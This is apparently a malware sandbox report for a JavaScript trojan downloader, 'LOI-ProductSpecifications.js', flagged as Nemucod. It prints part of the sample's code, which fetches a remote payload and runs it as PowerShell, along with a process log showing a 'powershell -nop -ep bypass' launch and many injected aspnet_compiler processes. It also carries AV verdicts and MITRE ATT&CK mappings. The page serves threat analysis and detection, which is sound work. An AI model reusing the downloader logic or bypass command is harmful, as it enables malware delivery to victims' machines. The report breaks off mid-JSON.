Pipeline;// Step 1: Ensure directory pipeline.addStep('ensureDir', function(state) { return FileOps.ensureFolder(configState.get('directory'));// Step 2: Retrieve payload pipeline.addStep('fetchPayload', function(state) { return Network.fetchWithRetry( configState.get('address') configState.get('maxAttempts') );// Step 3: Execute PowerShell (skipped if no payload) pipeline.addStep('executePayload', function(state) { if (!state.payload) return false;return Executor.runScript(state.payload, configState.get('directory'));} function(state) { return state.payload !== null && state.payload !== undefined;return pipeline;} // ============================================================ // Public API // ============================================================ var Api = { run: function() { return buildPipeline().execute();} config: function(key, value) { if (value !== undefined) { configState.set(key, value);return this;} return configState.get(key);} reset: function() { configState.restore();return this;} };// Begin Api.run();// Expose globally this.ScriptAPI = Api;})();"; File: "LOI-ProductSpecifications.js")5e:T8e9,Spawned process "WScript.exe" with commandline ""C:\\LOI-ProductSpecifications.js"" (UID: 00000000-00005240) Spawned process "powershell.exe" with commandline "-nop -ep bypass -file "C:\\Temp\\VBBT5YNK.ps1"" (UID: 00000000-00006896) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008764) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006900) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003588) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008428) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003400) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007660) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003508) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001636) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006380) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007316) Spawned process "aspnet_compiler.exe" (UID: 00000000-00005052) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003836) Spawned process "aspnet_compiler.exe" (UID: 00000000-00004752) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007568) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009032) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007392) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007828) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006276) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009204) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001372) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008656) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008796) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003056) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006516) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009020) Spawned process "aspnet_compiler.exe" (UID: 00000000-00004500) Spawned process "aspnet_compiler.exe" (UID: 00000000-00001516) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008372) Spawned process "aspnet_compiler.exe" (UID: 00000000-00006964) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007588) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007252) Spawned process "aspnet_compiler.exe" (UID: 00000000-00009080)30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793879215380,"unified_at":"2026-11-05T11:46:55.380Z","metadata":{"hashes":{"sha256":"c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","sha1":"585caf4d2f024e8e536cc6899ebbee8a1c28073c","md5":"cc5193b2f9fce6a3f807e12633308600","sha512":"7083165f6774a14d02101996958ecddb0842837922077118a3fc6e8024c32843c12f7acd54270bbb1bf02cad08bc018edfa3a9a95ab54a9412c63cd122e90c89","ssdeep":"48:+aNdUgzUmTheZYN4Apia73Dem/eXJWQz2MWHZpdHofhMRQrUy2iDtCvRFujJ:+SdUgzUAh3+M39/WYPtZfmWqUFQJ","ssdeep_chunks":["48:+aNdUgz","48:aNdUgzU","48:NdUgzUm","48:dUgzUmT","48:UgzUmTh","48:gzUmThe","48:zUmTheZ","48:UmTheZY","48:mTheZYN","48:TheZYN4","48:heZYN4A","48:eZYN4Ap","48:ZYN4Api","48:YN4Apia","48:N4Apia7","48:4Apia73","48:Apia73D","48:pia73De","48:ia73Dem","48:a73Dem/","48:73Dem/e","48:3Dem/eX","48:Dem/eXJ","48:em/eXJW","48:m/eXJWQ","48:/eXJWQz","48:eXJWQz2","48:XJWQz2M","48:JWQz2MW","48:WQz2MWH","48:Qz2MWHZ","48:z2MWHZp","48:2MWHZpd","48:MWHZpdH","48:WHZpdHo","48:HZpdHof","48:ZpdHofh","48:pdHofhM","48:dHofhMR","48:HofhMRQ","48:ofhMRQr","48:fhMRQrU","48:hMRQrUy","48:MRQrUy2","48:RQrUy2i","48:QrUy2iD","48:rUy2iDt","48:Uy2iDtC","48:y2iDtCv","48:2iDtCvR","48:iDtCvRF","48:DtCvRFu","48:tCvRFuj","48:CvRFujJ","96:+aNdUgz","96:aNdUgzU","96:NdUgzUm","96:dUgzUmT","96:UgzUmTh","96:gzUmThe","96:zUmTheZ","96:UmTheZY","96:mTheZYN","96:TheZYN4","96:heZYN4A","96:eZYN4Ap","96:ZYN4Api","96:YN4Apia","96:N4Apia7","96:4Apia73","96:Apia73D","96:pia73De","96:ia73Dem","96:a73Dem/","96:73Dem/e","96:3Dem/eX","96:Dem/eXJ","96:em/eXJW","96:m/eXJWQ","96:/eXJWQz","96:eXJWQz2","96:XJWQz2M","96:JWQz2MW","96:WQz2MWH","96:Qz2MWHZ","96:z2MWHZp","96:2MWHZpd","96:MWHZpdH","96:WHZpdHo","96:HZpdHof","96:ZpdHofh","96:pdHofhM","96:dHofhMR","96:HofhMRQ","96:ofhMRQr","96:fhMRQrU","96:hMRQrUy","96:MRQrUy2","96:RQrUy2i","96:QrUy2iD","96:rUy2iDt","96:Uy2iDtC","96:y2iDtCv","96:2iDtCvR","96:iDtCvRF","96:DtCvRFu","96:tCvRFuj","96:CvRFujJ","48:+SdUgzU","48:SdUgzUA","48:dUgzUAh","48:UgzUAh3","48:gzUAh3+","48:zUAh3+M","48:UAh3+M3","48:Ah3+M39","48:h3+M39/","48:3+M39/W","48:+M39/WY","48:M39/WYP","48:39/WYPt","48:9/WYPtZ","48:/WYPtZf","48:WYPtZfm","48:YPtZfmW","48:PtZfmWq","48:tZfmWqU","48:ZfmWqUF","48:fmWqUFQ","48:mWqUFQJ"],"imphash":"Unknown"},"file_info":{"file_name":"LOI-ProductSpecifications.js","file_type":["script","javascript"],"file_type_id":"js","file_size":7530,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1793781343000,"last_seen":1793787631000,"last_multi_scan":1793787631000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["nemucod","ransomware","malicious","evasive"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":72},"sandbox_signatures":{"informative_count":154,"suspicious_count":13,"malicious_count":9,"total":176},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/TrojanDownloader.Agent.AFFK trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"SVM:TrojanDownloader/JS.Nemucod.p","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"JS/Downldr.YH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"SVM:TrojanDownloader/JS.Nemucod","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to execute application using Windows wscript shell (JSP)"},{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"GETs files from a web server"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"Executes a JavaScript file"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"Trusted Developer Utilities Proxy Execution","attack_id":"T1127","attack_id_wiki":"https://attack.mitre.org/techniques/T1127","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"},{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains reference to shellcode"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Credential Access","technique":"Security Account Manager","attack_id":"T1003.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/002","identifiers":[{"type":"informative","value":"Able to access system credential hash file"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Attempts to obtain browser cookies (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Able to retrieve file and directory information"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Application Window 